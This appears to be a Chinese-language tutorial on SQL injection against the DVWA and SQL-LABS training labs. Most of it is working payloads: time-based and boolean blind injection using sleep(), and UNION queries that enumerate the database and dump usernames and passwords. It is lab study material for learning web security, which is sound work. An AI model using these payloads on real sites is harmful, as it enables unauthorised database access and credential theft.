首先猜解數據名的長度:
1' and if(length(database())=1,sleep(5),1) # 沒有延遲 1' and if(length(database())=2,sleep(5),1) # 沒有延遲 1' and if(length(database())=3,sleep(5),1) # 沒有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲
說明數據庫名長度爲4個字符。
接着採用二分法猜解數據庫名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲 說明數據庫名的第一個字符爲小寫字母d。
…
重複上述步驟,即可猜解出數據庫名。
3.猜解數據庫中的表名
首先猜解數據庫中表的數量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說明數據庫中有兩個表。
接着挨個猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說明第一個表名的長度爲9個字符。
採用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的數量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說明users表中有8個字段。
接着挨個猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說明users表的第一個字段長度爲7個字符。
採用二分法即可猜解出各個字段名。
5.猜解數據
同樣採用二分法。
Medium
分析:
Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數id,提交惡意構造的查詢參數。
上文有詳細的盲注流程,這裏就簡要演示幾個。
首先是基於布爾的盲注:
抓包改參數id爲1 and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273爲users的16進制),顯示存在,說明uers表有8個字段。
然後是基於時間的盲注:
抓包改參數id爲1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個字段。
High
分析:
High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
漏洞利用
雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。但由於服務器端執行sleep函數,會使得基於時間盲注的準確性受到影響,這裏我們只演示基於布爾的盲注:
抓包將cookie中參數id改爲1’ and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包將cookie中參數id改爲1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包將cookie中參數id改爲1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 爲users的16進制),顯示存在,說明uers表有8個字段。
SQL-LABS
Less-1(GET單引號字符型注入)
#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數 #不能用#【坑點1】
?id=1' order by 3 --+
?id=1' order by 4 %23
#聯合查詢查看顯示位 #id要爲負數【坑點2】
?id=-1' union select 1,2,3 --+
#爆庫【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+
#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+
坑點1:URL框中的sql語句中不能用直接使用#
號,要用--+
(等價於--空格)或者%23
,但是輸入框中可以用#
,應爲輸入框提交是會執行一次URL編碼,#
會被編譯成%23
原因是url中#
號是用來指導瀏覽器動作的(例如錨點),對服務器端完全無用。所以,HTTP請求中不包括#
將#號改成url的編碼%23
或者使用--+
就可以了
坑點2:在聯合查詢查看顯示位,使用union聯合查詢後發現頁面返回的數據沒變,這是因爲如果左邊的SQL語句正確執行那麼就會只返回左邊第一個查詢語句的運行結果,那麼我們只要讓第一行查詢的結果是空集(即union左邊的select子句查詢結果爲空),那麼我們union右邊的查詢結果自然就成爲了第一行,就打印在網頁上了。
這個id傳遞的是數字,而且一般都是從1開始自增的,我們可以把id值設爲非正數(負數或0),浮點數,字符型或字符串都行,主要是使左邊的查詢語句報錯就行。
Less-2(GET數字型注入)
#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數
?id=1 order by 3
?id=1 order by 4
#聯合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users
Less-3(GET單引號變形字符型注入)
#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報錯 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯誤提示可知後臺查詢語句應爲select * from * where id = ('$id') LIMIT 0,1
#構造?id=1') --+ 進行測試。訪問正常,猜測正確。
#確定字段數
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Less-4(GET雙引號字符型注入)
#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報錯 to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯誤提示可知後臺查詢語句應爲select * from * where id = ("$id") LIMIT 0,1
#構造?id=1") --+ 進行測試。訪問正常,猜測正確。
#確定字段數
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-5(雙注入GET單引號字符型注入)
一些感悟
我自己我在學習Web安全的過程中,也是倍感枯燥,總想急於求成,想要簡單學一哈就能實現各種🐄🍺操作,顯然不是那麼容易的,所以請靜下心來鑽研吧,慢慢來,比較快!